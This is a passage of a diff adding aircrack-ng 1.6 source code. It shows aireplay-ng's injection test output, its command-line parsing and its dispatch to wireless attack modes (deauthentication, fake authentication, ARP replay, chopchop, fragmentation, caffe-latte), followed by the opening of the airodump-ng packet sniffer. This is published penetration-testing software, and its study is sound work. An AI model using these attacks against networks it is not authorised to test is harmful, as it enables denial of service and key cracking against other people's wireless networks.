+					printf("Attack -1 (open):    OK\n");
+				}
+				else if (i == 2) // attack -1 (psk)
+				{
+					PCT;
+					printf("Attack -1 (psk):     OK\n");
+				}
+				else if (i == 3) // attack -3
+				{
+					PCT;
+					printf("Attack -2/-3/-4/-6:  OK\n");
+				}
+				else if (i == 4) // attack -5
+				{
+					PCT;
+					printf("Attack -5/-7:        OK\n");
+				}
+			}
+			else
+			{
+				if (i == 0) // attack -0
+				{
+					PCT;
+					printf("Attack -0:           Failed\n");
+				}
+				else if (i == 1) // attack -1 (open)
+				{
+					PCT;
+					printf("Attack -1 (open):    Failed\n");
+				}
+				else if (i == 2) // attack -1 (psk)
+				{
+					PCT;
+					printf("Attack -1 (psk):     Failed\n");
+				}
+				else if (i == 3) // attack -3
+				{
+					PCT;
+					printf("Attack -2/-3/-4/-6:  Failed\n");
+				}
+				else if (i == 4) // attack -5
+				{
+					PCT;
+					printf("Attack -5/-7:        Failed\n");
+				}
+			}
+		}
+
+		if (!gotit && answers)
+		{
+			PCT;
+			printf("Injection is working!\n");
+			if (opt.fast) return 0;
+			gotit = 1;
+		}
+	}
+	return 0;
+}
+
+int main(int argc, char * argv[])
+{
+	int n, i, ret;
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = -1;
+	opt.f_maxlen = -1;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+	opt.ringbuffer = 8;
+
+	opt.a_mode = -1;
+	opt.r_fctrl = -1;
+	opt.ghost = 0;
+	opt.delay = 15;
+	opt.bittest = 0;
+	opt.fast = 0;
+	opt.r_smac_set = 0;
+	opt.npackets = 1;
+	opt.nodetect = 0;
+	opt.rtc = 1;
+	opt.f_retry = 0;
+	opt.reassoc = 0;
+	opt.deauth_rc = 7; /* By default deauth reason code is Class 3 frame
+						  received from nonassociated STA */
+
+/* XXX */
+#if 0
+#if defined(__FreeBSD__)
+    /*
+        check what is our FreeBSD version. injection works
+        only on 7-CURRENT so abort if it's a lower version.
+    */
+    if( __FreeBSD_version < 700000 )
+    {
+        fprintf( stderr, "Aireplay-ng does not work on this "
+            "release of FreeBSD.\n" );
+        exit( 1 );
+    }
+#endif
+#endif
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static struct option long_options[]
+			= {{"deauth", 1, 0, '0'},
+			   {"fakeauth", 1, 0, '1'},
+			   {"interactive", 0, 0, '2'},
+			   {"arpreplay", 0, 0, '3'},
+			   {"chopchop", 0, 0, '4'},
+			   {"fragment", 0, 0, '5'},
+			   {"caffe-latte", 0, 0, '6'},
+			   {"cfrag", 0, 0, '7'},
+			   {"test", 0, 0, '9'},
+			   {"help", 0, 0, 'H'},
+			   {"fast", 0, 0, 'F'},
+			   {"bittest", 0, 0, 'B'},
+			   {"migmode", 0, 0, '8'},
+			   {"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
+			   {"deauth-rc", 1, 0, 'Z'},
+			   {0, 0, 0, 0}};
+
+		int option = getopt_long(argc,
+								 argv,
+								 "b:d:s:m:n:u:v:t:Z:T:f:g:w:x:p:a:c:h:e:ji:r:k:"
+								 "l:y:o:q:Q0:1:23456789HFBDR",
+								 long_options,
+								 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'b':
+
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Invalid BSSID (AP MAC address).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'd':
+
+				if (getmac(optarg, 1, opt.f_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 's':
+
+				if (getmac(optarg, 1, opt.f_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'm':
+
+				ret = sscanf(optarg, "%d", &opt.f_minlen);
+				if (opt.f_minlen < 0 || ret != 1)
+				{
+					printf("Invalid minimum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'n':
+
+				ret = sscanf(optarg, "%d", &opt.f_maxlen);
+				if (opt.f_maxlen < 0 || ret != 1)
+				{
+					printf("Invalid maximum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'u':
+
+				ret = sscanf(optarg, "%d", &opt.f_type);
+				if (opt.f_type < 0 || opt.f_type > 3 || ret != 1)
+				{
+					printf("Invalid type filter. [0-3]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'v':
+
+				ret = sscanf(optarg, "%d", &opt.f_subtype);
+				if (opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1)
+				{
+					printf("Invalid subtype filter. [0-15]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'T':
+				ret = sscanf(optarg, "%d", &opt.f_retry);
+				if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1))
+				{
+					printf("Invalid retry setting. [1-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 't':
+
+				ret = sscanf(optarg, "%d", &opt.f_tods);
+				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
+				{
+					printf("Invalid tods filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'f':
+
+				ret = sscanf(optarg, "%d", &opt.f_fromds);
+				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
+				{
+					printf("Invalid fromds filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'w':
+
+				ret = sscanf(optarg, "%d", &opt.f_iswep);
+				if ((opt.f_iswep != 0 && opt.f_iswep != 1) || ret != 1)
+				{
+					printf("Invalid wep filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'Z':
+
+				ret = sscanf(optarg, "%hhu", &opt.deauth_rc);
+				if (ret != 1)
+				{
+					printf("Invalid deauth reason. [0-254]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'o':
+
+				ret = sscanf(optarg, "%d", &opt.npackets);
+				if (opt.npackets < 0 || opt.npackets > 512 || ret != 1)
+				{
+					printf("Invalid number of packets per burst. [0-512]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'q':
+
+				ret = sscanf(optarg, "%d", &opt.delay);
+				if (opt.delay < 1 || opt.delay > 600 || ret != 1)
+				{
+					printf("Invalid number of seconds. [1-600]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'Q':
+
+				opt.reassoc = 1;
+				break;
+
+			case 'p':
+
+				ret = sscanf(optarg, "%x", &opt.r_fctrl);
+				if (opt.r_fctrl > 65535 || ret != 1)
+				{
+					printf("Invalid frame control word. [0-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, opt.r_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'g':
+
+				ret = sscanf(optarg, "%d", &opt.ringbuffer);
+				if (opt.ringbuffer < 1 || ret != 1)
+				{
+					printf("Invalid replay ring buffer size. [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.r_smac_set = 1;
+				break;
+
+			case 'e':
+
+				memset(opt.r_essid, 0, sizeof(opt.r_essid));
+				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
+				break;
+
+			case 'j':
+
+				opt.r_fromdsinj = 1;
+				break;
+
+			case 'D':
+
+				opt.nodetect = 1;
+				break;
+
+			case 'k':
+
+				inet_aton(optarg, (struct in_addr *) opt.r_dip);
+				break;
+
+			case 'l':
+
+				inet_aton(optarg, (struct in_addr *) opt.r_sip);
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					return (1);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				break;
+
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'z':
+
+				opt.ghost = 1;
+
+				break;
+
+			case '0':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 0;
+
+				for (i = 0; optarg[i] != 0; i++)
+				{
+					if (isdigit((int) optarg[i]) == 0) break;
+				}
+
+				ret = sscanf(optarg, "%d", &opt.a_count);
+				if (opt.a_count < 0 || optarg[i] != 0 || ret != 1)
+				{
+					printf("Invalid deauthentication count or missing value. "
+						   "[>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case '1':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 1;
+
+				for (i = 0; optarg[i] != 0; i++)
+				{
+					if (isdigit((int) optarg[i]) == 0) break;
+				}
+
+				ret = sscanf(optarg, "%d", &opt.a_delay);
+				if (opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
+				{
+					printf("Invalid reauthentication delay or missing value. "
+						   "[>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case '2':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 2;
+				break;
+
+			case '3':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 3;
+				break;
+
+			case '4':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 4;
+				break;
+
+			case '5':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 5;
+				break;
+
+			case '6':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 6;
+				break;
+
+			case '7':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 7;
+				break;
+
+			case '9':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 9;
+				break;
+
+			case '8':
+
+				if (opt.a_mode != -1)
+				{
+					printf("Attack mode already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.a_mode = 8;
+				break;
+
+			case 'F':
+
+				opt.fast = 1;
+				break;
+
+			case 'B':
+
+				opt.bittest = 1;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Aireplay-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
+
+			case 'R':
+
+				opt.rtc = 0;
+				break;
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(usage,
+				   getVersion("Aireplay-ng",
+							  _MAJ,
+							  _MIN,
+							  _SUB_MIN,
+							  _REVISION,
+							  _BETA,
+							  _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
+
+	if (opt.a_mode == -1)
+	{
+		printf("Please specify an attack mode.\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
+	{
+		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
+			   opt.f_minlen,
+			   opt.f_maxlen);
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if (opt.f_tods == 1 && opt.f_fromds == 1)
+	{
+		printf("FromDS and ToDS bit are set: packet has to come from the AP "
+			   "and go to the AP\n");
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
+
+#if defined(__i386__)
+#if defined(linux)
+	if (opt.a_mode > 1)
+	{
+		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+		{
+			dev.fd_rtc = 0;
+		}
+
+		if ((dev.fd_rtc == 0)
+			&& ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
+		{
+			dev.fd_rtc = 0;
+		}
+		if (opt.rtc == 0)
+		{
+			dev.fd_rtc = -1;
+		}
+		if (dev.fd_rtc > 0)
+		{
+			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+			{
+				perror("ioctl(RTC_IRQP_SET) failed");
+				printf("Make sure enhanced rtc device support is enabled in "
+					   "the kernel (module\n"
+					   "rtc, not genrtc) - also try 'echo 1024 "
+					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+			else
+			{
+				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+				{
+					perror("ioctl(RTC_PIE_ON) failed");
+					close(dev.fd_rtc);
+					dev.fd_rtc = -1;
+				}
+			}
+		}
+		else
+		{
+			printf("For information, no action required:"
+				   " Using gettimeofday() instead of /dev/rtc\n");
+			dev.fd_rtc = -1;
+		}
+	}
+#endif /* linux */
+#endif /* i386 */
+
+	opt.iface_out = argv[optind];
+	opt.port_out
+		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
+
+	// don't open interface(s) when using test mode and airserv
+	if (!(opt.a_mode == 9 && opt.port_out >= 0))
+	{
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		dev.fd_out = wi_fd(_wi_out);
+
+		/* open the packet source */
+		if (opt.s_face != NULL)
+		{
+			// don't open interface(s) when using test mode and airserv
+			if (!(opt.a_mode == 9 && opt.port_in >= 0))
+			{
+				_wi_in = wi_open(opt.s_face);
+				if (!_wi_in) return 1;
+				dev.fd_in = wi_fd(_wi_in);
+				wi_get_mac(_wi_in, dev.mac_in);
+			}
+		}
+		else
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+
+		wi_get_mac(_wi_out, dev.mac_out);
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		if (dev.is_wlanng || dev.is_hostap)
+			opt.r_nbpps = 200;
+		else
+			opt.r_nbpps = 500;
+	}
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	// if there is no -h given, use default hardware mac
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+	}
+
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
+		//        to work on madwifi[-ng], set the interface MAC according to
+		//        (-h)!\n");
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
+
+	switch (opt.a_mode)
+	{
+		case 0:
+			return (do_attack_deauth());
+		case 1:
+			return (do_attack_fake_auth());
+		case 2:
+			return (do_attack_interactive());
+		case 3:
+			return (do_attack_arp_resend());
+		case 4:
+			return (do_attack_chopchop());
+		case 5:
+			return (do_attack_fragment());
+		case 6:
+			return (do_attack_caffe_latte());
+		case 7:
+			return (do_attack_cfrag());
+		case 8:
+			return (do_attack_migmode());
+		case 9:
+			return (do_attack_test());
+		default:
+			break;
+	}
+
+	/* that's all, folks */
+
+	return (0);
+}

aircrack-ng-1.6.tar.gz/src/airodump-ng Added

aircrack-ng-1.6.tar.gz/src/airodump-ng/airodump-ng.c Added

@@ -0,0 +1,7440 @@
+/*
+ *  pcap-compatible 802.11 packet sniffer
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005 Christophe Devine
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <time.h>
+
+#ifndef TIOCGWINSZ
+#include <sys/termios.h>
+#endif
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#define _WITH_DPRINTF
+#include <stdio.h>
+#include <ctype.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <termios.h>
+#include <limits.h>
+
+#include <sys/wait.h>
+
+#ifdef HAVE_PCRE
+#include <pcre.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/ce-wep/uniqueiv.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/osdep/channel.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "airodump-ng.h"
+#include "dump_write.h"
+#include "aircrack-ng/osdep/common.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/support/mcs_index_rates.h"
+#include "aircrack-ng/utf8/verifyssid.h"
+#include "aircrack-ng/tui/console.h"
+#include "radiotap/radiotap.h"
+#include "radiotap/radiotap_iter.h"
+
+struct devices dev;
+uint8_t h80211[4096] __attribute__((aligned(16)));
+uint8_t tmpbuf[4096] __attribute__((aligned(16)));
+
+static const unsigned char llcnull[] = {0, 0, 0, 0};
+
+static const char * OUI_PATHS[]
+	= {"./airodump-ng-oui.txt",
+	   "/etc/aircrack-ng/airodump-ng-oui.txt",
+	   "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
+	   "/usr/share/aircrack-ng/airodump-ng-oui.txt",
+	   "/var/lib/misc/oui.txt",
+	   "/usr/share/misc/oui.txt",
+	   "/var/lib/ieee-data/oui.txt",
+	   "/usr/share/ieee-data/oui.txt",
+	   "/etc/manuf/oui.txt",
+	   "/usr/share/wireshark/wireshark/manuf/oui.txt",
+	   "/usr/share/wireshark/manuf/oui.txt",
+	   NULL};
+
+static int read_pkts = 0;
+
+static const int abg_chans[]
+	= {1,   7,   13,  2,   8,   3,   14,  9,   4,   10,  5,   11,  6,
+	   12,  36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
+	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116, 118,
+	   120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142, 144, 149,
+	   151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
+
+static const int bg_chans[]
+	= {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
+
+static const int a_chans[]
+	= {36,  38,  40,  42,  44,  46,  48,  50,  52,  54,  56,  58,
+	   60,  62,  64,  100, 102, 104, 106, 108, 110, 112, 114, 116,
+	   118, 120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142,
+	   144, 149, 151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
+
+static int * frequencies;
+
+static volatile int quitting = 0;
+static volatile time_t quitting_event_ts = 0;
+
+static void dump_sort(void);
+static void dump_print(int ws_row, int ws_col, int if_num);
+static char *
+get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2);
+int is_filtered_essid(const uint8_t * essid);
+
+/* bunch of global stuff */
+struct communication_options opt;
+static struct local_options
+{
+	struct AP_info *ap_1st, *ap_end;
+	struct ST_info *st_1st, *st_end;
+	struct NA_info * na_1st;
+	struct oui * manufList;
+
+	unsigned char prev_bssid[6];
+	char ** f_essid;
+	int f_essid_count;
+#ifdef HAVE_PCRE
+	pcre * f_essid_regex;
+#endif
+	char * dump_prefix;
+	char * keyout;
+
+	char * batt; /* Battery string       */
+	int channel[MAX_CARDS]; /* current channel #    */
+	int frequency[MAX_CARDS]; /* current frequency #    */
+	int ch_pipe[2]; /* current channel pipe */
+	int cd_pipe[2]; /* current card pipe    */
+	int gc_pipe[2]; /* gps coordinates pipe */
+	float gps_loc[8]; /* gps coordinates      */
+	int save_gps; /* keep gps file flag   */
+	int gps_valid_interval; /* how many seconds until we consider the GPS data invalid if we dont get new data */
+
+	int * channels;
+	int singlechan; /* channel hopping set 1*/
+	int singlefreq; /* frequency hopping: 1 */
+	int chswitch; /* switching method     */
+	unsigned int f_encrypt; /* encryption filter    */
+	int update_s; /* update delay in sec  */
+
+	volatile int do_exit; /* interrupt flag       */
+	struct winsize ws; /* console window size  */
+
+	char * elapsed_time; /* capture time			*/
+
+	int one_beacon; /* Record only 1 beacon?*/
+
+	int * own_channels; /* custom channel list  */
+	int * own_frequencies; /* custom frequency list  */
+
+	int asso_client; /* only show associated clients */
+
+	char * iwpriv;
+	char * iwconfig;
+	char * wlanctlng;
+
+	unsigned char wpa_bssid[6]; /* the wpa handshake bssid   */
+	char message[512];
+	char decloak;
+
+	char is_berlin; /* is the switch --berlin set? */
+	int numaps; /* number of APs on the current list */
+	int maxnumaps; /* maximum nubers of APs on the list */
+	int maxaps; /* number of all APs found */
+	int berlin; /* number of seconds it takes in berlin to fill the whole screen
+				   with APs*/
+	/*
+	 * The name for this option may look quite strange, here is the story behind
+	 * it:
+	 * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit
+	 * Berlin
+	 * and couldn't resist to turn on airodump-ng to see how much access point
+	 * we can
+	 * get during the trip from Finowfurt to Berlin. When we were in Berlin, the
+	 * number
+	 * of AP increase really fast, so fast that it couldn't fit in a screen,
+	 * even rotated;
+	 * the list was really huge (we have a picture of that). The 2 minutes
+	 * timeout
+	 * (if the last packet seen is higher than 2 minutes, the AP isn't shown
+	 * anymore)
+	 * wasn't enough, so we decided to create a new option to change that
+	 * timeout.
+	 * We implemented this option in the highest tower (TV Tower) of Berlin,
+	 * eating an ice.
+	 */
+
+	int show_ap;
+	int show_sta;
+	int show_ack;
+	int hide_known;
+
+	int hopfreq;
+
+	char * s_iface; /* source interface to read from */
+	FILE * f_cap_in;
+	struct pcap_file_header pfh_in;
+	int detect_anomaly; /* Detect WIPS protecting WEP in action */
+
+	char * freqstring;
+	int freqoption;
+	int chanoption;
+	int active_scan_sim; /* simulates an active scan, sending probe requests */
+
+	/* Airodump-ng start time: for kismet netxml file */
+	char * airodump_start_time;
+
+	pthread_t input_tid;
+	pthread_t gps_tid;
+	int sort_by;
+	int sort_inv;
+	int start_print_ap;
+	int start_print_sta;
+	struct AP_info * p_selected_ap;
+	enum
+	{
+		selection_direction_down,
+		selection_direction_up,
+		selection_direction_no
+	} en_selection_direction;
+	int mark_cur_ap;
+	int num_cards;
+	int do_pause;
+	int do_sort_always;
+
+	pthread_mutex_t mx_print; /* lock write access to ap LL   */
+	pthread_mutex_t mx_sort; /* lock write access to ap LL   */
+
+	unsigned char selected_bssid[6]; /* bssid that is selected */
+
+	u_int maxsize_essid_seen;
+	int show_manufacturer;
+	int show_uptime;
+	int file_write_interval;
+	u_int maxsize_wps_seen;
+	int show_wps;
+	struct tm gps_time; /* the timestamp from the gps data */
+#ifdef CONFIG_LIBNL
+	unsigned int htval;
+#endif
+	int background_mode;
+
+	unsigned long min_pkts;
+
+	int relative_time; /* read PCAP in psuedo-real-time */
+} lopt;
+
+static void resetSelection(void)
+{
+	lopt.sort_by = SORT_BY_POWER;
+	lopt.sort_inv = 1;
+
+	lopt.relative_time = 0;
+	lopt.start_print_ap = 1;
+	lopt.start_print_sta = 1;
+	lopt.p_selected_ap = NULL;
+	lopt.en_selection_direction = selection_direction_no;
